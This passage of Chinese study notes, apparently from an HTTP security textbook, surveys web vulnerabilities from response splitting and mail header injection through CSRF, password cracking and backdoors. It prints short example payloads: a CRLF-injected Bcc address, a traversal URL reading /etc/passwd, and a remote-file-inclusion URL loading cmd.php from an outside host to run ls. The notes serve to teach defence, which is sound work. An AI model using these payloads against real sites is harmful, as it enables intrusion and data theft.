因此攻击者可指定修改任意的 Cookie信息。

HTTP 响应截断攻击

如果要将两个 %0D%0A%0D%0A 并排插入字符串后发送。
利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。
这样的攻击叫做 HTTP 响应截断攻击。

11.2.5 邮件首部注入攻击

利用存在安全漏洞的Web 网站,可对任意邮件地址发送广告邮件或病毒邮件。

邮件首部注入攻击案例

咨询表单为例:
攻击者将以下数据作为邮件地址发起请求。

1
bob@hackr.jp%0D%0ABcc: user@example.com

%0D%0A 在邮件报文中代表换行符。
一旦咨询表单所在的 Web 应用接收了这个换行符,就可能实现对 Bcc 邮件地址的追加发送
使用两个连续的换行符就有可能篡改邮件文本内容并发送。

11.2.6 目录遍历攻击

对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。
用户可使用 …/ 等相对路径定位到 /etc/passed 等绝对路径上,因此服务器上任意的文件或文件目录皆有可能被访问到。

例子:
如果 read.php 脚本接受对指定目录的访问请求处理
攻击者设置如下查询字段后发出请求。

1
http://example.com/read.php?log=../..etc/passwd

11.2.7 远程文件包含漏洞

部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的 URL 充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击。
PHP的includerequire 连接地址文件被修改。
因为php引入的文件是从url里获取的文件名,所以修改url上的文件名和地址就行了

1
http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls

11.3 因设置或设计上的缺陷引发的安全漏洞

11.3.1 强制浏览

从安置在 Web 服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件
影响:
泄露顾客的个人信息等重要情报
泄露原本需要具有访问权限的用户才可查阅的信息内容
泄露未外连到外界的文件

对那些原本不愿公开的文件,为了保证安全会隐蔽其 URL。
可一旦知道了那些URL,也就意味着可浏览 URL 对应的文件。
直接显示容易推测的文件名或文件目录索引时,通过某些方法可能会使 URL 产生泄露。

文件目录一览

1
http://www.example.com/log/

容易被推测的文件名及目录名

备份文件

经认证才可显示的文件

例如:
日记功能保证了除具有访问权限的用户本人以外,其他人都不能访问日记。
但是!!不具备对图片访问对象的控制,从而产生了安全漏洞。

11.3.2 不正确的错误消息处理

Web 应用的错误信息内包含对攻击者有用的信息
主要错误信息:
Web 应用抛出的错误消息
数据库等系统抛出的错误消息

案例:
通过提示密码错误还是提示已注册过这种错误提示来破解密码

11.3.3 开放重定向

假如指定的重定向 URL 到某个具有恶意的 Web 网站,那么用户就会被诱导至那个 Web 网站。

开放重定向的攻击案例

该功能就是向 URL 指定参数后,使本来的 URL 发生重定向跳转。

1
http://example.com/?redirect=http://www.tricorder.jp

前提:开放重定向功能

11.4 因会话管理疏忽引发的安全漏洞

11.4.1 会话劫持

下面列举了几种攻击者可获得会话 ID 的途径。
通过非正规的生成方法推测会话 ID
通过窃听或 XSS 攻击盗取会话 ID
通过会话固定攻击(Session Fixation)强行获取会话 ID

11.4.2 会话固定攻击

强制用户使用攻击者指定的会话 ID,属于被动攻击。

案例:
下面我们以认证功能为例讲解会话固定攻击。
这个 Web 网站的认证功能,会在认证前发布一个会话 ID,若认证成功,就会在服务器内改变认证状态。

攻击者准备陷阱,先访问 Web 网站拿到会话 ID(SID=f5d1278e8109)。
此刻,会话 ID 在服务器上的记录仍是(未认证)状态。(步骤① ~ ②)
攻击者设置好强制用户使用该会话 ID 的陷阱,并等待用户拿着这个会话 ID前去认证。
一旦用户触发陷阱并完成认证,会话 ID(SID=f5d1278e8109)
在服务器上的状态(用户 A 已认证)就会被记录下来。(步骤③)

11.4.3 跨站点请求伪造

跨站点请求伪造(CSRF)攻击是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。
影响:
利用已通过认证的用户权限更新设定信息等
利用已通过认证的用户权限购买商品
利用已通过认证的用户权限在留言板上发表言论

案例:留言板上发表内容

11.5 其他安全漏洞

11.5.1 密码破解

突破认证有以下两种手段:
通过网络的密码试错
对已加密密码的破解(指攻击者入侵系统,已获得加密或散列处理的密码数据的情况)

通过网络进行密码试错

穷举法:尝试所有的候选密码
字典攻击:利用事先收集好的候选密码

对已加密密码的破解

通过散列函数做散列处理或加 salt 的手段对要保存的密码本身加密。

从加密过的数据中导出明文通常有以下几种方法

通过穷举法·字典攻击进行类推
彩虹表 :由明文密码及与之对应的散列值构成的一张数据库表
拿到密钥
加密算法的漏洞:开发者独立实现的加密算法,可能存在漏洞

11.5.2 点击劫持

利用透明的按钮或链接做成陷阱
实际上是点击了已指定透明属性元素的 iframe 页面。

案例:
iframe里的部分是你希望用户点击的内容

11.5.3 DoS 攻击

DoS 攻击(Denial of Service attack)是一种让运行中的服务呈停止状态的攻击。
有时也叫做服务停止攻击或拒绝服务攻击。

两种 DoS 攻击方式:
集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也就呈停止状态。
通过攻击安全漏洞使服务停止。

多台计算机发起的 DoS 攻击称为 DDoS 攻击

11.5.4 后门程序

开发设置的隐藏入口,可不按正常步骤使用受限功能。

3 种类型:
开发阶段作为 Debug 调用的后门程序
开发者为了自身利益植入的后门程序
攻击者通过某种方法设置的后门程序

← Prev Next →